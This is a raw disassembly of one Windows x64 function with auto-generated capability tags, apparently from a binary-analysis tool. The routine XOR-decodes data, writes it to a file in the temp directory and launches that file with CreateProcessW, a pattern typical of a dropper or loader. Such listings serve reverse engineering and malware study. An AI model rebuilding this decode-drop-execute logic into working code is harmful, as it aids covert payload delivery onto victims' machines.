Function at 0x1400104f0
Capabilities:
Create process on windows
Encode data using xor
Get common file path

Disassembly:
mov r11, rsp
push r12
push r14
push r15
sub rsp, 0x6f0
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
mov rax, qword [0x1402e7080]
xor rax, rsp
mov qword [rsp + 0x6e0], rax
mov rdi, rdx
mov qword [r11 - 0x658], rdx
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [r11 - 0x628]
call fcn.1400b5f90
lea rcx, [rsp + 0xe0]
call fcn.140007d80
nop
lea rcx, [rsp + 0x50]
call fcn.140026110
nop
mov r8, rax
lea rdx, [rsp + 0xb8]
call fcn.1400244a0
nop
lea rcx, [rsp + 0x50]
call fcn.140004810
lea rcx, [rsp + 0x50]
call fcn.140001a50
mov qword [rsp + 0x80], 0x10
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x80], rcx
mov edx, 0x10
call fcn.140068260
xor ebx, ebx
mov qword [rsp + 0x50], rbx
mov esi, ebx
mov rax, qword [rsp + 0xd0]
lea r14d, [rbx + 2]
test rax, rax
je 0x140010650
lea r15, str.string_subscript_out_of_range
lea r12, [0x14014f67c]
cmp rbx, rax
jbe 0x140010622
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xc84
lea rdx, [0x1401cc100]
mov ecx, r14d
call fcn.1400bbbf0
cmp eax, 1
jne 0x1400105fd
int3
mov qword [rsp + 0x20], rbx
mov r9d, 0xc84
lea r8, str.c:program_filesmicrosoft_visual_studio2022community_vc_toolsmsvc14.16.27023includexstring
lea rdx, str.std::basic_string_char_struct_std::char_traits_char__class_std::allocator_char___::operator___
lea rcx, str._string_subscript_out_of_range_
call fcn.1400bc0f0
lea rax, [rsp + 0xc0]
cmp qword [rsp + 0xd8], 0x10
cmovae rax, qword [rsp + 0xc0]
xor byte [rax + rsi], 0x67
inc rsi
mov rax, qword [rsp + 0xd0]
cmp rsi, rax
jb 0x140010622
lea rdx, [rsp + 0x4d0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140010754
lea rcx, [rsp + 0xb8]
call fcn.140004810
lea rcx, [rsp + 0xb8]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0xb8]
call fcn.140068260
mov qword [rsp + 0xb8], rbx
mov rcx, qword [rsp + 0xe8]
test rcx, rcx
je 0x1400106b2
call qword [sym.imp.bcrypt.dll_BCryptDestroyKey]
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x1400106c7
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
lea rcx, [rsp + 0x118]
call fcn.140004810
lea rcx, [rsp + 0x118]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x118]
call fcn.140068260
mov qword [rsp + 0x118], rbx
lea rcx, [rsp + 0xf0]
call fcn.140004810
lea rcx, [rsp + 0xf0]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0xf0]
call fcn.140068260
mov qword [rsp + 0xf0], rbx
mov rcx, rdi
call fcn.140013b90
mov rcx, rdi
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rdi]
call fcn.140068260
mov qword [rdi], rbx
jmp 0x140010d29
lea r9, [rsp + 0x2c0]
xor r8d, r8d
lea rdx, [0x1401cd3e0]
lea rcx, [rsp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x140010865
lea rcx, [rsp + 0xb8]
call fcn.140004810
lea rcx, [rsp + 0xb8]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0xb8]
call fcn.140068260
mov qword [rsp + 0xb8], rbx
mov rcx, qword [rsp + 0xe8]
test rcx, rcx
je 0x1400107c3
call qword [sym.imp.bcrypt.dll_BCryptDestroyKey]
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x1400107d8
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
lea rcx, [rsp + 0x118]
call fcn.140004810
lea rcx, [rsp + 0x118]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x118]
call fcn.140068260
mov qword [rsp + 0x118], rbx
lea rcx, [rsp + 0xf0]
call fcn.140004810
lea rcx, [rsp + 0xf0]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0xf0]
call fcn.140068260
mov qword [rsp + 0xf0], rbx
mov rcx, rdi
call fcn.140013b90
mov rcx, rdi
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rdi]
call fcn.140068260
mov qword [rdi], rbx
jmp 0x140010d29
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x140]
call fcn.1400b5f90
mov r8d, 0x20
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x140]
call fcn.1400123f0
nop
lea rdx, [rsp + 0xc0]
cmp qword [rsp + 0xd8], 0x10
cmovae rdx, qword [rsp + 0xc0]
mov r8, qword [rsp + 0xd0]
lea rcx, [rsp + 0x140]
call fcn.140013180
lea rcx, [rsp + 0x148]
call fcn.140014800
test rax, rax
jne 0x140010907
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x140]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, r14d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140006a50
mov qword [rsp + 0x50], rbx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], bx
lea rax, [rsp + 0x2c0]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140010960
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x50]
call fcn.140013c40
nop
mov r9d, 0xe
lea r8, str.___process_:
lea rcx, [rsp + 0x50]
call fcn.140017490
mov r14, rax
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rbx
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x88]
mov rax, qword [rsp + 0x88]
mov qword [rax], rcx
cmp qword [r14 + 0x20], 8
jb 0x1400109f4
mov rdx, r14
lea rcx, [rsp + 0x88]
call fcn.140001ae0
jmp 0x1400109fc
mov rcx, r14
call fcn.140001a50
movups xmm0, xmmword [r14 + 8]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [r14 + 0x18]
movups xmmword [rsp + 0xa0], xmm1
mov qword [r14 + 0x18], rbx
mov qword [r14 + 0x20], 7
mov word [r14 + 8], bx
lea rcx, [rsp + 0x88]
call fcn.140007b60
nop
lea rcx, [rsp + 0x50]
call fcn.140013b90
lea rcx, [rsp + 0x50]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x50]
call fcn.140068260
mov qword [rsp + 0x50], rbx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], bx
lea rax, [rsp + 0x2c0]
inc rsi
cmp word [rax + rsi*2], 0
jne 0x140010aa3
mov r8, rsi
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x50]
call fcn.140013c40
nop
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rsp + 0x250]
call fcn.1400b5f90
mov dword [rsp + 0x250], 0x68
mov word [rsp + 0x290], bx
xor eax, eax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
lea rdx, [rdi + 8]
cmp qword [rdi + 0x20], 8
jb 0x140010b11
mov rdx, qword [rdx]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x250]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140010b8d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x50]
call fcn.140013b90
lea rcx, [rsp + 0x50]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x50]
call fcn.140068260
nop
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x140], rax
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x13c], edx
lea rcx, [rsp + 0x148]
call fcn.1400130c0
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x140], rax
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x13c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x1e8], rax
lea rcx, [rsp + 0x1e8]
call fcn.14002ff00
nop
lea rcx, [rsp + 0xb8]
call fcn.140004810
lea rcx, [rsp + 0xb8]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0xb8]
call fcn.140068260
mov qword [rsp + 0xb8], rbx
mov rcx, qword [rsp + 0xe8]
test rcx, rcx
je 0x140010c87
call qword [sym.imp.bcrypt.dll_BCryptDestroyKey]
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x140010c9c
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
lea rcx, [rsp + 0x118]
call fcn.140004810
lea rcx, [rsp + 0x118]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x118]
call fcn.140068260
mov qword [rsp + 0x118], rbx
lea rcx, [rsp + 0xf0]
call fcn.140004810
lea rcx, [rsp + 0xf0]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0xf0]
call fcn.140068260
nop
jmp 0x140010d09
mov rcx, rdi
call fcn.140013b90
mov rcx, rdi
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rdi]
call fcn.140068260
mov qword [rdi], rbx
mov rcx, qword [rsp + 0x6e0]
xor rcx, rsp
call fcn.1400681e0
lea r11, [rsp + 0x6f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret